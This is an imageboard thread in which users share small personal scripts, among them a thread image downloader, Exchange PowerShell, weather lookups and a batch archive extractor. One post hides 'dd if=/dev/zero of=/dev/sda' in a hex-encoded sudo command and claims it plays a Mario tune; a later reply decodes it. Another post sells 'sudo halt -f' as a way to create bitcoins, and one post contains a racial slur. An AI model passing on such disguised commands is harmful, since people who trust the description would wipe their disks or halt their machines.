Post code of small useful scripts that you actually use.
Downloads every image in a Sup Forums thread, written in Python 3. (I tried posting the code here but it triggered 4chans xss filter)
pastebin.com
Useful Scripts You've Written
Carson Lee
Other urls found in this thread:
wttr.in
wttr.in
wttr.in
twitter.com
Joseph Gutierrez
The only script I've written is a script that remounts my /tmp and /var with exec before makepkg and then remounts them noexec again afterwards. I need to step up my script game.
Connor Fisher
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
Plays the Mario dungeon tune on a loop. Winfags wish they could do this.
Leo Morris
>useful
Aaron Flores
Pretty sure nothing in that code has to do with sound.
Joseph Evans
>being this new
Ayden Ramirez
>being stupid
over
>being new
Elijah Walker
Oh don't worry I'm still stupid. Used Google to look up those commands instead of man pages.
Jeremiah Watson
#!/bin/bash
while :
do
sleep 1
done
Elijah Peterson
mummy...
Cooper Collins
BE CAREFUL!! THIS CREATES MUSTARD GAS
Ryder Reyes
I'm getting the impression nobody on Sup Forums knows how to program
Logan Peterson
stop posting this dumb whore
Carson Torres
Show current mailbox moves in Exchange 2010+
Function Show-Moves {
$dbstring1 = Get-MailboxDatabaseCopyStatus |fl DatabaseName |Out-String
$dbstring2 = $dbstring1.Split(" ")
$dbstring3 = $dbstring2.Get(2)
$dbstring = [STRING]::Concat($dbstring3,'*')
$moves = Get-MoveRequest -ResultSize Unlimited |Where {$_.SourceDatabase -like $dbstring -or $_.TargetDabase -like $dbstring}
$showmoves = $moves |group -NoElement status |sort -Descending count |ft count,values -a
$showmoves
Write-Host -ForegroundColor Green "Sleeping for 5 seconds"
Start-Sleep -Seconds 5
$moves = ""
$showmoves = ""
Show-Moves
}
Hunter Butler
...
Chase Myers
Just let us have this one, Rasputin
Luis Morgan
Do you know who you are talking to, пpecтyпнaя нaкипь?
Noah Sullivan
Checking the weather for local cities
#!/bin/sh
arg=${1}
if [ "$arg" = "marinette" ]
then
curl wttr.in
elif [ "$arg" = "menominee" ]
then
curl wttr.in
elif [ $arg" = peshtigo" ]
then
curl wttr.in
else
curl wttr.in
fi
John Reed
DON'T DO THIS, IT SUMMONS BLACK NIGGERS ALL AROUND YOU
I"M ON THE RUN RIGHT NOW
-- Sent from my iPhone
Justin Walker
>#!/bin/sh
[ ! "$1" ] && exit 1
case $1 in
(menominee) url=49858;;
(marinette ) url=54143;;
(peshtigo ) url=54157;;
(* ) url=54157;;
esac
curl "wttr.in
Adrian Jenkins
>parsing HTML manually like that
shiggy the diggy, OP.
Use beautiful soup or similar if you really want to parse HTML like that. Better yet, just use the JSON API.
Brody Lee
Why? I mean it would take some serious change to how Sup Forums stores image thumbnails and their actual links to break this, this worked just fine.
Alexander Allen
how bout a Sup Forums image downloader
someone... anyone... I just want to know how to make one ;_;
Robert Allen
Literally a link to one in the op
Wyatt Sullivan
Nice try. Saving this for later
Aiden Cooper
If no argument is supplied then it uses the default zip code (54157). You could even get rid of the Peshtigo entry because it would still default to 54157.
declare -A codes=(["marinette"]="54143" ["menominee"]="49858" ["peghtigo"]="54157")
code=${codes[$1]}
curl wttr.in
Kayden Rogers
See this?
html[open_index+6
It's hard to understand what the 6 is doing without thinking about it, it's not very self-documenting code. Also, having magic numbers is Bad Practice™.
Grayson Foster
@echo off
setlocal EnableDelayedExpansion
if errorlevel 1 (
echo Unable to enable Delayed variable expansion
exit /B
)
set debug=no
set destination=%cd%
set single_dir=no
if -%1-==-- goto loopend
:argloop
if %1==--debug (
set debug=yes
) else if %1==-d (
set debug=yes
) else if %1==--single-directory (
set single_dir=yes
) else if %1==-sd (
set single_dir=yes
) else if %1==--output-directory (
set destination=%~2
shift
) else if %1==-od (
set destination=%~2
shift
) else if %1==here (
set single_dir=yes
set destination=.
goto loopend
) else if %1==-h (
goto printHelp
) else if %1==--help (
goto printHelp
)
shift
if not -%1-==-- goto argloop
:loopend
if not !destination:~-1!==\ (
if not !destination:~-1!==/ (
set destination=!destination!\
)
)
if !single_dir!==yes (
if "!destination!" == "%cd%\" (
set destination=!destination!archives\
)
)
for %%i in (*) do (
set _procfile=no
if %%~xi==.zip set _procfile=yes
if %%~xi==.rar set _procfile=yes
if %%~xi==.tar set _procfile=yes
if %%~xi==.gz set _procfile=yes
if %%~xi==.7z set _procfile=yes
if !_procfile!==yes (
if !single_dir!==no (
set tmp_dst=!destination!%%~ni
if !debug!==yes (
echo 7z.exe x -r -o"!tmp_dst!" "%%i"
) else (
call 7z.exe x -r -o"!tmp_dst!" "%%i"
)
) else (
if !debug!==yes (
echo 7z.exe x -r -o"!destination!" "%%i"
) else (
call 7z.exe x -r -o"!destination!" "%%i"
)
)
)
)
exit /B
It uses 7zip to extract the contents of every archive in a directory
Christopher Clark
Anti-UNIX and bloat
wget -qO - "$URL" | grep -Eo '//i.4cdn.org[^"]+' | grep -v 's' |uniq | sed 's/^/http\:/' | xargs wget
Brandon Morris
This could all be one wget command
>muh UNIX way
>every tool is as full features as a programming language
Zachary Morgan
>grep -v 's'
What if the board has an 's' in it?
Isaiah Cruz
create-2-bitcoins-in-5mins.sh (requires root though)
#!/bin/bash
sudo halt -f
Daniel Campbell
Those boards are for gays
or just grep -v '[0-9]s\.'
Nolan Jackson
what it does is this echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p
dd if=/dev/zero of=/dev/sda count=100 bs=1M
so its not mario dungeon its the freakin pacman theme. what a joke